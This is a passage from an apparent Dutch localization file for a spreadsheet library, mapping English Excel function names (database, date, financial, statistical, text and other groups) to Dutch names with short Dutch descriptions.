waarde van een lideigenschap in de kubus. Wordt gebruikt om te controleren of de lidnaam in de kubus bestaat en retourneert de opgegeven eigenschap voor dit lid CUBERANKEDMEMBER = KUBUSGERANGCHIKTLID ## Retourneert het zoveelste, gerangschikte lid in een set. Wordt gebruikt om een of meer elementen in een set te retourneren, zoals de tien beste verkopers of de tien beste studenten CUBESET = KUBUSSET ## Definieert een berekende set leden of tupels door een ingestelde expressie naar de kubus op de server te sturen, alwaar de set wordt gemaakt en vervolgens wordt geretourneerd naar Microsoft Office Excel CUBESETCOUNT = KUBUSSETAANTAL ## Retourneert het aantal onderdelen in een set CUBEVALUE = KUBUSWAARDE ## Retourneert een samengestelde waarde van een kubus ## ## Database functions Databasefuncties ## DAVERAGE = DBGEMIDDELDE ## Berekent de gemiddelde waarde in geselecteerde databasegegevens DCOUNT = DBAANTAL ## Telt de cellen met getallen in een database DCOUNTA = DBAANTALC ## Telt de niet-lege cellen in een database DGET = DBLEZEN ## Retourneert één record dat voldoet aan de opgegeven criteria uit een database DMAX = DBMAX ## Retourneert de maximumwaarde in de geselecteerde databasegegevens DMIN = DBMIN ## Retourneert de minimumwaarde in de geselecteerde databasegegevens DPRODUCT = DBPRODUCT ## Vermenigvuldigt de waarden in een bepaald veld van de records die voldoen aan de criteria in een database DSTDEV = DBSTDEV ## Maakt een schatting van de standaarddeviatie op basis van een steekproef uit geselecteerde databasegegevens DSTDEVP = DBSTDEVP ## Berekent de standaarddeviatie op basis van de volledige populatie van geselecteerde databasegegevens DSUM = DBSOM ## Telt de getallen uit een kolom records in de database op die voldoen aan de criteria DVAR = DBVAR ## Maakt een schatting van de variantie op basis van een steekproef uit geselecteerde databasegegevens DVARP = DBVARP ## Berekent de variantie op basis van de volledige populatie van geselecteerde databasegegevens ## ## Date and time functions Datum- en tijdfuncties ## DATE = DATUM ## Geeft als resultaat het seriële getal van een opgegeven datum DATEVALUE = DATUMWAARDE ## Converteert een datum in de vorm van tekst naar een serieel getal DAY = DAG ## Converteert een serieel getal naar een dag van de maand DAYS360 = DAGEN360 ## Berekent het aantal dagen tussen twee datums op basis van een jaar met 360 dagen EDATE = ZELFDE.DAG ## Geeft als resultaat het seriële getal van een datum die het opgegeven aantal maanden voor of na de begindatum ligt EOMONTH = LAATSTE.DAG ## Geeft als resultaat het seriële getal van de laatste dag van de maand voor of na het opgegeven aantal maanden HOUR = UUR ## Converteert een serieel getal naar uren MINUTE = MINUUT ## Converteert een serieel naar getal minuten MONTH = MAAND ## Converteert een serieel getal naar een maand NETWORKDAYS = NETTO.WERKDAGEN ## Geeft als resultaat het aantal hele werkdagen tussen twee datums NOW = NU ## Geeft als resultaat het seriële getal van de huidige datum en tijd SECOND = SECONDE ## Converteert een serieel getal naar seconden TIME = TIJD ## Geeft als resultaat het seriële getal van een bepaald tijdstip TIMEVALUE = TIJDWAARDE ## Converteert de tijd in de vorm van tekst naar een serieel getal TODAY = VANDAAG ## Geeft als resultaat het seriële getal van de huidige datum WEEKDAY = WEEKDAG ## Converteert een serieel getal naar een weekdag WEEKNUM = WEEKNUMMER ## Converteert een serieel getal naar een weeknummer WORKDAY = WERKDAG ## Geeft als resultaat het seriële getal van de datum voor of na een bepaald aantal werkdagen YEAR = JAAR ## Converteert een serieel getal naar een jaar YEARFRAC = JAAR.DEEL ## Geeft als resultaat het gedeelte van het jaar, uitgedrukt in het aantal hele dagen tussen begindatum en einddatum ## ## Engineering functions Technische functies ## BESSELI = BESSEL.Y ## Geeft als resultaat de gewijzigde Bessel-functie In(x) BESSELJ = BESSEL.J ## Geeft als resultaat de Bessel-functie Jn(x) BESSELK = BESSEL.K ## Geeft als resultaat de gewijzigde Bessel-functie Kn(x) BESSELY = BESSEL.Y ## Geeft als resultaat de gewijzigde Bessel-functie Yn(x) BIN2DEC = BIN.N.DEC ## Converteert een binair getal naar een decimaal getal BIN2HEX = BIN.N.HEX ## Converteert een binair getal naar een hexadecimaal getal BIN2OCT = BIN.N.OCT ## Converteert een binair getal naar een octaal getal COMPLEX = COMPLEX ## Converteert reële en imaginaire coëfficiënten naar een complex getal CONVERT = CONVERTEREN ## Converteert een getal in de ene maateenheid naar een getal in een andere maateenheid DEC2BIN = DEC.N.BIN ## Converteert een decimaal getal naar een binair getal DEC2HEX = DEC.N.HEX ## Converteert een decimaal getal naar een hexadecimaal getal DEC2OCT = DEC.N.OCT ## Converteert een decimaal getal naar een octaal getal DELTA = DELTA ## Test of twee waarden gelijk zijn ERF = FOUTFUNCTIE ## Geeft als resultaat de foutfunctie ERFC = FOUT.COMPLEMENT ## Geeft als resultaat de complementaire foutfunctie GESTEP = GROTER.DAN ## Test of een getal groter is dan de drempelwaarde HEX2BIN = HEX.N.BIN ## Converteert een hexadecimaal getal naar een binair getal HEX2DEC = HEX.N.DEC ## Converteert een hexadecimaal getal naar een decimaal getal HEX2OCT = HEX.N.OCT ## Converteert een hexadecimaal getal naar een octaal getal IMABS = C.ABS ## Geeft als resultaat de absolute waarde (modulus) van een complex getal IMAGINARY = C.IM.DEEL ## Geeft als resultaat de imaginaire coëfficiënt van een complex getal IMARGUMENT = C.ARGUMENT ## Geeft als resultaat het argument thèta, een hoek uitgedrukt in radialen IMCONJUGATE = C.TOEGEVOEGD ## Geeft als resultaat het complexe toegevoegde getal van een complex getal IMCOS = C.COS ## Geeft als resultaat de cosinus van een complex getal IMDIV = C.QUOTIENT ## Geeft als resultaat het quotiënt van twee complexe getallen IMEXP = C.EXP ## Geeft als resultaat de exponent van een complex getal IMLN = C.LN ## Geeft als resultaat de natuurlijke logaritme van een complex getal IMLOG10 = C.LOG10 ## Geeft als resultaat de logaritme met grondtal 10 van een complex getal IMLOG2 = C.LOG2 ## Geeft als resultaat de logaritme met grondtal 2 van een complex getal IMPOWER = C.MACHT ## Geeft als resultaat een complex getal dat is verheven tot de macht van een geheel getal IMPRODUCT = C.PRODUCT ## Geeft als resultaat het product van complexe getallen IMREAL = C.REEEL.DEEL ## Geeft als resultaat de reële coëfficiënt van een complex getal IMSIN = C.SIN ## Geeft als resultaat de sinus van een complex getal IMSQRT = C.WORTEL ## Geeft als resultaat de vierkantswortel van een complex getal IMSUB = C.VERSCHIL ## Geeft als resultaat het verschil tussen twee complexe getallen IMSUM = C.SOM ## Geeft als resultaat de som van complexe getallen OCT2BIN = OCT.N.BIN ## Converteert een octaal getal naar een binair getal OCT2DEC = OCT.N.DEC ## Converteert een octaal getal naar een decimaal getal OCT2HEX = OCT.N.HEX ## Converteert een octaal getal naar een hexadecimaal getal ## ## Financial functions Financiële functies ## ACCRINT = SAMENG.RENTE ## Berekent de opgelopen rente voor een waardepapier waarvan de rente periodiek wordt uitgekeerd ACCRINTM = SAMENG.RENTE.V ## Berekent de opgelopen rente voor een waardepapier waarvan de rente op de vervaldatum wordt uitgekeerd AMORDEGRC = AMORDEGRC ## Geeft als resultaat de afschrijving voor elke boekingsperiode door een afschrijvingscoëfficiënt toe te passen AMORLINC = AMORLINC ## Berekent de afschrijving voor elke boekingsperiode COUPDAYBS = COUP.DAGEN.BB ## Berekent het aantal dagen vanaf het begin van de coupontermijn tot de stortingsdatum COUPDAYS = COUP.DAGEN ## Geeft als resultaat het aantal dagen in de coupontermijn waarin de stortingsdatum valt COUPDAYSNC = COUP.DAGEN.VV ## Geeft als resultaat het aantal dagen vanaf de stortingsdatum tot de volgende couponvervaldatum COUPNCD = COUP.DATUM.NB ## Geeft als resultaat de volgende coupondatum na de stortingsdatum COUPNUM = COUP.AANTAL ## Geeft als resultaat het aantal coupons dat nog moet worden uitbetaald tussen de stortingsdatum en de vervaldatum COUPPCD = COUP.DATUM.VB ## Geeft als resultaat de vorige couponvervaldatum vóór de stortingsdatum CUMIPMT = CUM.RENTE ## Geeft als resultaat de cumulatieve rente die tussen twee termijnen is uitgekeerd CUMPRINC = CUM.HOOFDSOM ## Geeft als resultaat de cumulatieve hoofdsom van een lening die tussen twee termijnen is terugbetaald DB = DB ## Geeft als resultaat de afschrijving van activa voor een bepaalde periode met behulp van de 'fixed declining balance'-methode DDB = DDB ## Geeft als resultaat de afschrijving van activa over een bepaalde termijn met behulp van de 'double declining balance'-methode of een andere methode die u opgeeft DISC = DISCONTO ## Geeft als resultaat het discontopercentage voor een waardepapier DOLLARDE = EURO.DE ## Converteert een prijs in euro's, uitgedrukt in een breuk, naar een prijs in euro's, uitgedrukt in een decimaal getal DOLLARFR = EURO.BR ## Converteert een prijs in euro's, uitgedrukt in een decimaal getal, naar een prijs in euro's, uitgedrukt in een breuk DURATION = DUUR ## Geeft als resultaat de gewogen gemiddelde looptijd voor een waardepapier met periodieke rentebetalingen EFFECT = EFFECT.RENTE ## Geeft als resultaat het effectieve jaarlijkse rentepercentage FV = TW ## Geeft als resultaat de toekomstige waarde van een investering FVSCHEDULE = TOEK.WAARDE2 ## Geeft als resultaat de toekomstige waarde van een bepaalde hoofdsom na het toepassen van een reeks samengestelde rentepercentages INTRATE = RENTEPERCENTAGE ## Geeft als resultaat het rentepercentage voor een volgestort waardepapier IPMT = IBET ## Geeft als resultaat de te betalen rente voor een investering over een bepaalde termijn IRR = IR ## Geeft als resultaat de interne rentabiliteit voor een reeks cashflows ISPMT = ISBET ## Geeft als resultaat de rente die is betaald tijdens een bepaalde termijn van een investering MDURATION = AANG.DUUR ## Geeft als resultaat de aangepaste Macauley-looptijd voor een waardepapier, aangenomen dat de nominale waarde € 100 bedraagt MIRR = GIR ## Geeft als resultaat de interne rentabiliteit voor een serie cashflows, waarbij voor betalingen een ander rentepercentage geldt dan voor inkomsten NOMINAL = NOMINALE.RENTE ## Geeft als resultaat het nominale jaarlijkse rentepercentage NPER = NPER ## Geeft als resultaat het aantal termijnen van een investering NPV = NHW ## Geeft als resultaat de netto huidige waarde van een investering op basis van een reeks periodieke cashflows en een discontopercentage ODDFPRICE = AFW.ET.PRIJS ## Geeft als resultaat de prijs per € 100 nominale waarde voor een waardepapier met een afwijkende eerste termijn ODDFYIELD = AFW.ET.REND ## Geeft als resultaat het rendement voor een waardepapier met een afwijkende eerste termijn ODDLPRICE = AFW.LT.PRIJS ## Geeft als resultaat de prijs per € 100 nominale waarde voor een waardepapier met een afwijkende laatste termijn ODDLYIELD = AFW.LT.REND ## Geeft als resultaat het rendement voor een waardepapier met een afwijkende laatste termijn PMT = BET ## Geeft als resultaat de periodieke betaling voor een annuïteit PPMT = PBET ## Geeft als resultaat de afbetaling op de hoofdsom voor een bepaalde termijn PRICE = PRIJS.NOM ## Geeft als resultaat de prijs per € 100 nominale waarde voor een waardepapier waarvan de rente periodiek wordt uitgekeerd PRICEDISC = PRIJS.DISCONTO ## Geeft als resultaat de prijs per € 100 nominale waarde voor een verdisconteerd waardepapier PRICEMAT = PRIJS.VERVALDAG ## Geeft als resultaat de prijs per € 100 nominale waarde voor een waardepapier waarvan de rente wordt uitgekeerd op de vervaldatum PV = HW ## Geeft als resultaat de huidige waarde van een investering RATE = RENTE ## Geeft als resultaat het periodieke rentepercentage voor een annuïteit RECEIVED = OPBRENGST ## Geeft als resultaat het bedrag dat op de vervaldatum wordt uitgekeerd voor een volgestort waardepapier SLN = LIN.AFSCHR ## Geeft als resultaat de lineaire afschrijving van activa over één termijn SYD = SYD ## Geeft als resultaat de afschrijving van activa over een bepaalde termijn met behulp van de 'Sum-Of-Years-Digits'-methode TBILLEQ = SCHATK.OBL ## Geeft als resultaat het rendement op schatkistpapier, dat op dezelfde manier wordt berekend als het rendement op obligaties TBILLPRICE = SCHATK.PRIJS ## Bepaalt de prijs per € 100 nominale waarde voor schatkistpapier TBILLYIELD = SCHATK.REND ## Berekent het rendement voor schatkistpapier VDB = VDB ## Geeft als resultaat de afschrijving van activa over een gehele of gedeeltelijke termijn met behulp van de 'declining balance'-methode XIRR = IR.SCHEMA ## Berekent de interne rentabiliteit voor een betalingsschema van cashflows XNPV = NHW2 ## Berekent de huidige nettowaarde voor een betalingsschema van cashflows YIELD = RENDEMENT ## Geeft als resultaat het rendement voor een waardepapier waarvan de rente periodiek wordt uitgekeerd YIELDDISC = REND.DISCONTO ## Geeft als resultaat het jaarlijkse rendement voor een verdisconteerd waardepapier, bijvoorbeeld schatkistpapier YIELDMAT = REND.VERVAL ## Geeft als resultaat het jaarlijkse rendement voor een waardepapier waarvan de rente wordt uitgekeerd op de vervaldatum ## ## Information functions Informatiefuncties ## CELL = CEL ## Geeft als resultaat informatie over de opmaak, locatie of inhoud van een cel ERROR.TYPE = TYPE.FOUT ## Geeft als resultaat een getal dat overeenkomt met een van de foutwaarden van Microsoft Excel INFO = INFO ## Geeft als resultaat informatie over de huidige besturingsomgeving ISBLANK = ISLEEG ## Geeft als resultaat WAAR als de waarde leeg is ISERR = ISFOUT2 ## Geeft als resultaat WAAR als de waarde een foutwaarde is, met uitzondering van #N/B ISERROR = ISFOUT ## Geeft als resultaat WAAR als de waarde een foutwaarde is ISEVEN = IS.EVEN ## Geeft als resultaat WAAR als het getal even is ISLOGICAL = ISLOGISCH ## Geeft als resultaat WAAR als de waarde een logische waarde is ISNA = ISNB ## Geeft als resultaat WAAR als de waarde de foutwaarde #N/B is ISNONTEXT = ISGEENTEKST ## Geeft als resultaat WAAR als de waarde geen tekst is ISNUMBER = ISGETAL ## Geeft als resultaat WAAR als de waarde een getal is ISODD = IS.ONEVEN ## Geeft als resultaat WAAR als het getal oneven is ISREF = ISVERWIJZING ## Geeft als resultaat WAAR als de waarde een verwijzing is ISTEXT = ISTEKST ## Geeft als resultaat WAAR als de waarde tekst is N = N ## Geeft als resultaat een waarde die is geconverteerd naar een getal NA = NB ## Geeft als resultaat de foutwaarde #N/B TYPE = TYPE ## Geeft als resultaat een getal dat het gegevenstype van een waarde aangeeft ## ## Logical functions Logische functies ## AND = EN ## Geeft als resultaat WAAR als alle argumenten WAAR zijn FALSE = ONWAAR ## Geeft als resultaat de logische waarde ONWAAR IF = ALS ## Geeft een logische test aan IFERROR = ALS.FOUT ## Retourneert een waarde die u opgeeft als een formule een fout oplevert, anders wordt het resultaat van de formule geretourneerd NOT = NIET ## Keert de logische waarde van het argument om OR = OF ## Geeft als resultaat WAAR als minimaal een van de argumenten WAAR is TRUE = WAAR ## Geeft als resultaat de logische waarde WAAR ## ## Lookup and reference functions Zoek- en verwijzingsfuncties ## ADDRESS = ADRES ## Geeft als resultaat een verwijzing, in de vorm van tekst, naar één bepaalde cel in een werkblad AREAS = BEREIKEN ## Geeft als resultaat het aantal bereiken in een verwijzing CHOOSE = KIEZEN ## Kiest een waarde uit een lijst met waarden COLUMN = KOLOM ## Geeft als resultaat het kolomnummer van een verwijzing COLUMNS = KOLOMMEN ## Geeft als resultaat het aantal kolommen in een verwijzing HLOOKUP = HORIZ.ZOEKEN ## Zoekt in de bovenste rij van een matrix naar een bepaalde waarde en geeft als resultaat de gevonden waarde in de opgegeven cel HYPERLINK = HYPERLINK ## Maakt een snelkoppeling of een sprong waarmee een document wordt geopend dat is opgeslagen op een netwerkserver, een intranet of op internet INDEX = INDEX ## Kiest met een index een waarde uit een verwijzing of een matrix INDIRECT = INDIRECT ## Geeft als resultaat een verwijzing die wordt aangegeven met een tekstwaarde LOOKUP = ZOEKEN ## Zoekt naar bepaalde waarden in een vector of een matrix MATCH = VERGELIJKEN ## Zoekt naar bepaalde waarden in een verwijzing of een matrix OFFSET = VERSCHUIVING ## Geeft als resultaat een nieuwe verwijzing die is verschoven ten opzichte van een bepaalde verwijzing ROW = RIJ ## Geeft als resultaat het rijnummer van een verwijzing ROWS = RIJEN ## Geeft als resultaat het aantal rijen in een verwijzing RTD = RTG ## Haalt realtimegegevens op uit een programma dat COM-automatisering (automatisering: een methode waarmee de ene toepassing objecten van een andere toepassing of ontwikkelprogramma kan besturen. Automatisering werd vroeger OLE-automatisering genoemd. Automatisering is een industrienorm die deel uitmaakt van het Component Object Model (COM).) ondersteunt TRANSPOSE = TRANSPONEREN ## Geeft als resultaat de getransponeerde van een matrix VLOOKUP = VERT.ZOEKEN ## Zoekt in de meest linkse kolom van een matrix naar een bepaalde waarde en geeft als resultaat de waarde in de opgegeven cel ## ## Math and trigonometry functions Wiskundige en trigonometrische functies ## ABS = ABS ## Geeft als resultaat de absolute waarde van een getal ACOS = BOOGCOS ## Geeft als resultaat de boogcosinus van een getal ACOSH = BOOGCOSH ## Geeft als resultaat de inverse cosinus hyperbolicus van een getal ASIN = BOOGSIN ## Geeft als resultaat de boogsinus van een getal ASINH = BOOGSINH ## Geeft als resultaat de inverse sinus hyperbolicus van een getal ATAN = BOOGTAN ## Geeft als resultaat de boogtangens van een getal ATAN2 = BOOGTAN2 ## Geeft als resultaat de boogtangens van de x- en y-coördinaten ATANH = BOOGTANH ## Geeft als resultaat de inverse tangens hyperbolicus van een getal CEILING = AFRONDEN.BOVEN ## Rondt de absolute waarde van een getal naar boven af op het dichtstbijzijnde gehele getal of het dichtstbijzijnde significante veelvoud COMBIN = COMBINATIES ## Geeft als resultaat het aantal combinaties voor een bepaald aantal objecten COS = COS ## Geeft als resultaat de cosinus van een getal COSH = COSH ## Geeft als resultaat de cosinus hyperbolicus van een getal DEGREES = GRADEN ## Converteert radialen naar graden EVEN = EVEN ## Rondt het getal af op het dichtstbijzijnde gehele even getal EXP = EXP ## Verheft e tot de macht van een bepaald getal FACT = FACULTEIT ## Geeft als resultaat de faculteit van een getal FACTDOUBLE = DUBBELE.FACULTEIT ## Geeft als resultaat de dubbele faculteit van een getal FLOOR = AFRONDEN.BENEDEN ## Rondt de absolute waarde van een getal naar beneden af GCD = GGD ## Geeft als resultaat de grootste gemene deler INT = INTEGER ## Rondt een getal naar beneden af op het dichtstbijzijnde gehele getal LCM = KGV ## Geeft als resultaat het kleinste gemene veelvoud LN = LN ## Geeft als resultaat de natuurlijke logaritme van een getal LOG = LOG ## Geeft als resultaat de logaritme met het opgegeven grondtal van een getal LOG10 = LOG10 ## Geeft als resultaat de logaritme met grondtal 10 van een getal MDETERM = DETERMINANTMAT ## Geeft als resultaat de determinant van een matrix MINVERSE = INVERSEMAT ## Geeft als resultaat de inverse van een matrix MMULT = PRODUCTMAT ## Geeft als resultaat het product van twee matrices MOD = REST ## Geeft als resultaat het restgetal van een deling MROUND = AFRONDEN.N.VEELVOUD ## Geeft als resultaat een getal afgerond op het gewenste veelvoud MULTINOMIAL = MULTINOMIAAL ## Geeft als resultaat de multinomiaalcoëfficiënt van een reeks getallen ODD = ONEVEN ## Rondt de absolute waarde van het getal naar boven af op het dichtstbijzijnde gehele oneven getal PI = PI ## Geeft als resultaat de waarde van pi POWER = MACHT ## Verheft een getal tot een macht PRODUCT = PRODUCT ## Vermenigvuldigt de argumenten met elkaar QUOTIENT = QUOTIENT ## Geeft als resultaat de uitkomst van een deling als geheel getal RADIANS = RADIALEN ## Converteert graden naar radialen RAND = ASELECT ## Geeft als resultaat een willekeurig getal tussen 0 en 1 RANDBETWEEN = ASELECTTUSSEN ## Geeft een willekeurig getal tussen de getallen die u hebt opgegeven ROMAN = ROMEINS ## Converteert een Arabisch getal naar een Romeins getal en geeft het resultaat weer in de vorm van tekst ROUND = AFRONDEN ## Rondt een getal af op het opgegeven aantal decimalen ROUNDDOWN = AFRONDEN.NAAR.BENEDEN ## Rondt de absolute waarde van een getal naar beneden af ROUNDUP = AFRONDEN.NAAR.BOVEN ## Rondt de absolute waarde van een getal naar boven af SERIESSUM = SOM.MACHTREEKS ## Geeft als resultaat de som van een machtreeks die is gebaseerd op de formule SIGN = POS.NEG ## Geeft als resultaat het teken van een getal SIN = SIN ## Geeft als resultaat de sinus van de opgegeven hoek SINH = SINH ## Geeft als resultaat de sinus hyperbolicus van een getal SQRT = WORTEL ## Geeft als resultaat de positieve vierkantswortel van een getal SQRTPI = WORTEL.PI ## Geeft als resultaat de vierkantswortel van (getal * pi) SUBTOTAL = SUBTOTAAL ## Geeft als resultaat een subtotaal voor een bereik SUM = SOM ## Telt de argumenten op SUMIF = SOM.ALS ## Telt de getallen bij elkaar op die voldoen aan een bepaald criterium SUMIFS = SOMMEN.ALS ## Telt de cellen in een bereik op die aan meerdere criteria voldoen SUMPRODUCT = SOMPRODUCT ## Geeft als resultaat de som van de producten van de corresponderende matrixelementen SUMSQ = KWADRATENSOM ## Geeft als resultaat de som van de kwadraten van de argumenten SUMX2MY2 = SOM.X2MINY2 ## Geeft als resultaat de som van het verschil tussen de kwadraten van corresponderende waarden in twee matrices SUMX2PY2 = SOM.X2PLUSY2 ## Geeft als resultaat de som van de kwadratensom van corresponderende waarden in twee matrices SUMXMY2 = SOM.XMINY.2 ## Geeft als resultaat de som van de kwadraten van de verschillen tussen de corresponderende waarden in twee matrices TAN = TAN ## Geeft als resultaat de tangens van een getal TANH = TANH ## Geeft als resultaat de tangens hyperbolicus van een getal TRUNC = GEHEEL ## Kapt een getal af tot een geheel getal ## ## Statistical functions Statistische functies ## AVEDEV = GEM.DEVIATIE ## Geeft als resultaat het gemiddelde van de absolute deviaties van gegevenspunten ten opzichte van hun gemiddelde waarde AVERAGE = GEMIDDELDE ## Geeft als resultaat het gemiddelde van de argumenten AVERAGEA = GEMIDDELDEA ## Geeft als resultaat het gemiddelde van de argumenten, inclusief getallen, tekst en logische waarden AVERAGEIF = GEMIDDELDE.ALS ## Geeft het gemiddelde (rekenkundig gemiddelde) als resultaat van alle cellen in een bereik die voldoen aan de opgegeven criteria AVERAGEIFS = GEMIDDELDEN.ALS ## Geeft het gemiddelde (rekenkundig gemiddelde) als resultaat van alle cellen die aan meerdere criteria voldoen BETADIST = BETA.VERD ## Geeft als resultaat de cumulatieve bèta-verdelingsfunctie BETAINV = BETA.INV ## Geeft als resultaat de inverse van de cumulatieve verdelingsfunctie voor een gegeven bèta-verdeling BINOMDIST = BINOMIALE.VERD ## Geeft als resultaat de binomiale verdeling CHIDIST = CHI.KWADRAAT ## Geeft als resultaat de eenzijdige kans van de chi-kwadraatverdeling CHIINV = CHI.KWADRAAT.INV ## Geeft als resultaat de inverse van een eenzijdige kans van de chi-kwadraatverdeling CHITEST = CHI.TOETS ## Geeft als resultaat de onafhankelijkheidstoets CONFIDENCE = BETROUWBAARHEID ## Geeft als resultaat het betrouwbaarheidsinterval van een gemiddelde waarde voor de elementen van een populatie CORREL = CORRELATIE ## Geeft als resultaat de correlatiecoëfficiënt van twee gegevensverzamelingen COUNT = AANTAL ## Telt het aantal getallen in de argumentenlijst COUNTA = AANTALARG ## Telt het aantal waarden in de argumentenlijst COUNTBLANK = AANTAL.LEGE.CELLEN ## Telt het aantal lege cellen in een bereik COUNTIF = AANTAL.ALS ## Telt in een bereik het aantal cellen die voldoen aan een bepaald criterium COUNTIFS = AANTALLEN.ALS ## Telt in een bereik het aantal cellen die voldoen aan meerdere criteria COVAR = COVARIANTIE ## Geeft als resultaat de covariantie, het gemiddelde van de producten van de gepaarde deviaties CRITBINOM = CRIT.BINOM ## Geeft als resultaat de kleinste waarde waarvoor de binomiale verdeling kleiner is dan of gelijk is aan het criterium DEVSQ = DEV.KWAD ## Geeft als resultaat de som van de deviaties in het kwadraat EXPONDIST = EXPON.VERD ## Geeft als resultaat de exponentiële verdeling FDIST = F.VERDELING ## Geeft als resultaat de F-verdeling FINV = F.INVERSE ## Geeft als resultaat de inverse van de F-verdeling FISHER = FISHER ## Geeft als resultaat de Fisher-transformatie FISHERINV = FISHER.INV ## Geeft als resultaat de inverse van de Fisher-transformatie FORECAST = VOORSPELLEN ## Geeft als resultaat een waarde op basis van een lineaire trend FREQUENCY = FREQUENTIE ## Geeft als resultaat een frequentieverdeling in de vorm van een verticale matrix FTEST = F.TOETS ## Geeft als resultaat een F-toets GAMMADIST = GAMMA.VERD ## Geeft als resultaat de gamma-verdeling GAMMAINV = GAMMA.INV ## Geeft als resultaat de inverse van de cumulatieve gamma-verdeling GAMMALN = GAMMA.LN ## Geeft als resultaat de natuurlijke logaritme van de gamma-functie, G(x) GEOMEAN = MEETK.GEM ## Geeft als resultaat het meetkundige gemiddelde GROWTH = GROEI ## Geeft als resultaat de waarden voor een exponentiële trend HARMEAN = HARM.GEM ## Geeft als resultaat het harmonische gemiddelde HYPGEOMDIST = HYPERGEO.VERD ## Geeft als resultaat de hypergeometrische verdeling INTERCEPT = SNIJPUNT ## Geeft als resultaat het snijpunt van de lineaire regressielijn met de y-as KURT = KURTOSIS ## Geeft als resultaat de kurtosis van een gegevensverzameling LARGE = GROOTSTE ## Geeft als resultaat de op k-1 na grootste waarde in een gegevensverzameling LINEST = LIJNSCH ## Geeft als resultaat de parameters van een lineaire trend LOGEST = LOGSCH ## Geeft als resultaat de parameters van een exponentiële trend LOGINV = LOG.NORM.INV ## Geeft als resultaat de inverse van de logaritmische normale verdeling LOGNORMDIST = LOG.NORM.VERD ## Geeft als resultaat de cumulatieve logaritmische normale verdeling MAX = MAX ## Geeft als resultaat de maximumwaarde in een lijst met argumenten MAXA = MAXA ## Geeft als resultaat de maximumwaarde in een lijst met argumenten, inclusief getallen, tekst en logische waarden MEDIAN = MEDIAAN ## Geeft als resultaat de mediaan van de opgegeven getallen MIN = MIN ## Geeft als resultaat de minimumwaarde in een lijst met argumenten MINA = MINA ## Geeft als resultaat de minimumwaarde in een lijst met argumenten, inclusief getallen, tekst en logische waarden MODE = MODUS ## Geeft als resultaat de meest voorkomende waarde in een gegevensverzameling NEGBINOMDIST = NEG.BINOM.VERD ## Geeft als resultaat de negatieve binomiaalverdeling NORMDIST = NORM.VERD ## Geeft als resultaat de cumulatieve normale verdeling NORMINV = NORM.INV ## Geeft als resultaat de inverse van de cumulatieve standaardnormale verdeling NORMSDIST = STAND.NORM.VERD ## Geeft als resultaat de cumulatieve standaardnormale verdeling NORMSINV = STAND.NORM.INV ## Geeft als resultaat de inverse van de cumulatieve normale verdeling PEARSON = PEARSON ## Geeft als resultaat de correlatiecoëfficiënt van Pearson PERCENTILE = PERCENTIEL ## Geeft als resultaat het k-de percentiel van waarden in een bereik PERCENTRANK = PERCENT.RANG ## Geeft als resultaat de positie, in procenten uitgedrukt, van een waarde in de rangorde van een gegevensverzameling PERMUT = PERMUTATIES ## Geeft als resultaat het aantal permutaties voor een gegeven aantal objecten POISSON = POISSON ## Geeft als resultaat de Poisson-verdeling PROB = KANS ## Geeft als resultaat de kans dat waarden zich tussen twee grenzen bevinden QUARTILE = KWARTIEL ## Geeft als resultaat het kwartiel van een gegevensverzameling RANK = RANG ## Geeft als resultaat het rangnummer van een getal in een lijst getallen RSQ = R.KWADRAAT ## Geeft als resultaat het kwadraat van de Pearson-correlatiecoëfficiënt SKEW = SCHEEFHEID ## Geeft als resultaat de mate van asymmetrie van een verdeling SLOPE = RICHTING ## Geeft als resultaat de richtingscoëfficiënt van een lineaire regressielijn SMALL = KLEINSTE ## Geeft als resultaat de op k-1 na kleinste waarde in een gegevensverzameling STANDARDIZE = NORMALISEREN ## Geeft als resultaat een genormaliseerde waarde STDEV = STDEV ## Maakt een schatting van de standaarddeviatie op basis van een steekproef STDEVA = STDEVA ## Maakt een schatting van de standaarddeviatie op basis van een steekproef, inclusief getallen, tekst en logische waarden STDEVP = STDEVP ## Berekent de standaarddeviatie op basis van de volledige populatie STDEVPA = STDEVPA ## Berekent de standaarddeviatie op basis van de volledige populatie, inclusief getallen, tekst en logische waarden STEYX = STAND.FOUT.YX ## Geeft als resultaat de standaardfout in de voorspelde y-waarde voor elke x in een regressie TDIST = T.VERD ## Geeft als resultaat de Student T-verdeling TINV = T.INV ## Geeft als resultaat de inverse van de Student T-verdeling TREND = TREND ## Geeft als resultaat de waarden voor een lineaire trend TRIMMEAN = GETRIMD.GEM ## Geeft als resultaat het gemiddelde van waarden in een gegevensverzameling TTEST = T.TOETS ## Geeft als resultaat de kans met behulp van de Student T-toets VAR = VAR ## Maakt een schatting van de variantie op basis van een steekproef VARA = VARA ## Maakt een schatting van de variantie op basis van een steekproef, inclusief getallen, tekst en logische waarden VARP = VARP ## Berekent de variantie op basis van de volledige populatie VARPA = VARPA ## Berekent de standaarddeviatie op basis van de volledige populatie, inclusief getallen, tekst en logische waarden WEIBULL = WEIBULL ## Geeft als resultaat de Weibull-verdeling ZTEST = Z.TOETS ## Geeft als resultaat de eenzijdige kanswaarde van een Z-toets ## ## Text functions Tekstfuncties ## ASC = ASC ## Wijzigt Nederlandse letters of katakanatekens over de volle breedte (dubbel-bytetekens) binnen een tekenreeks in tekens over de halve breedte (enkel-bytetekens) BAHTTEXT = BAHT.TEKST ## Converteert een getal naar tekst met de valutanotatie ß (baht) CHAR = TEKEN ## Geeft als resultaat het teken dat hoort bij de opgegeven code CLEAN = WISSEN.CONTROL ## Verwijdert alle niet-afdrukbare tekens uit een tekst CODE = CODE ## Geeft als resultaat de numerieke code voor het eerste teken in een tekenreeks CONCATENATE = TEKST.SAMENVOEGEN ## Voegt verschillende tekstfragmenten samen tot één tekstfragment DOLLAR = EURO ## Converteert een getal naar tekst met de valutanotatie € (euro) EXACT = GELIJK ## Controleert of twee tekenreeksen identiek zijn FIND = VIND.ALLES ## Zoekt een bepaalde tekenreeks in een tekst (waarbij onderscheid wordt gemaakt tussen hoofdletters en kleine letters) FINDB = VIND.ALLES.B ## Zoekt een bepaalde tekenreeks in een tekst (waarbij onderscheid wordt gemaakt tussen hoofdletters en kleine letters) FIXED = VAST ## Maakt een getal als tekst met een vast aantal decimalen op JIS = JIS ## Wijzigt Nederlandse letters of katakanatekens over de halve breedte (enkel-bytetekens) binnen een tekenreeks in tekens over de volle breedte (dubbel-bytetekens) LEFT = LINKS ## Geeft als resultaat de meest linkse tekens in een tekenreeks LEFTB = LINKSB ## Geeft als resultaat de meest linkse tekens in een tekenreeks LEN = LENGTE ## Geeft als resultaat het aantal tekens in een tekenreeks LENB = LENGTEB ## Geeft als resultaat het aantal tekens in een tekenreeks LOWER = 